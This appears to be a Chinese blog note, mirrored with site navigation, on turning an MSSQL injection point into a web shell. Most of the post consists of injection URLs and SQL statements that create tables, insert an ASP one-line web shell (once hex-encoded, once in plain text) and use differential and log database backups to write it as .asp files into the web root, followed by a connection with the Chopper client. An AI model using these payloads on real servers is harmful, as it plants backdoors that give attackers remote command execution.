zoukankan      html  css  js  c++  java
  • 大哥带的mssql注入拿shell

    任务二 注入点拿shell

    路径的爆破

    https://blog.csdn.net/edu_aqniu/article/details/78409451

    0X01判断 是否为判断当前数据库用户名是否为DB_OWNER:

    Mssql拿shell有两种方法 win2008sever里面

    0X02数据库备份拿shell

    0X001 创建自己的数据库

    http://www.aspx-sqli.com/index.asp?id=1;create%20database%20zhong;

     

    0X002先进行一次完整备份:

    ?id=1;backup database zhong to disk = 'E:wwwrootasp_sqli';

     

    0X003使用数据库:

    http://www.aspx-sqli.com/index.asp?id=1;use%20zhong;

     

    0x004创建新表:在数据库名为中的库里面创建一个新的cmd表

    create table [dbo].[zhong] ([cmd] [image]);

     

    0X006向cmd表中插入数据

    ?id=1;insert into zhong(cmd) values(0x3C25657865637574652872657175657374282276616C7565222929253E);

     

    0X007进行数据库的差异备份

    ?id=1;backup database zhong to disk='E:wwwrootasp_sqlizhongqzi.asp' WITH DIFFERENTIAL,FORMAT;

     

    然后菜刀连接

     

    0X03log备份拿shell

    0X001 激活为还原模式

    这里要注意的是我们通过备份拿shell 要注意是需要进行数据库的

    LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份

    ?id=1;alter database asp_test set RECOVERY FULL –

     

    0X002创建新的表cmd

    ?id=1;create table cmd (a image) –

     

    0X003备份当前库的log到网站根目录

    ?id=1;backup log asp_test to disk = 'E:wwwrootasp_sqlizhong.asp' with init –

     

    0X004在cmd表的a列中插入一句话

    insert into cmd (a) values ('<%%25Execute(request("go"))%
    %25>')--

    0X005备份差异log

    ;backup log asp_test to disk = 'E:wwwrootasp_sqlizhongqi.asp' --

    0x006 菜刀连接

     ----致谢 卿哥

    https://www.cnblogs.com/-qing-/p/10364190.html

    带我们一点一点了解渗透

    学习之路 少就是多 慢就是快

  • 相关阅读:
    Final Zadanie 题解
    CF1096E The Top Scorer 题解
    [SDOI2008]Sue的小球 题解
    柱爷与远古法阵 题解
    [ZOJ3329] One Person Game 题解
    扑克牌 题解
    CF494C Helping People 题解
    CF1025D Recovering BST 题解
    linux基础学习-Raid 0 1 5 10的原理、特点、性能区别
    linux基础学习-CentOS7.5用户管理
  • 原文地址:https://www.cnblogs.com/-zhong/p/10946456.html
Copyright © 2011-2022 走看看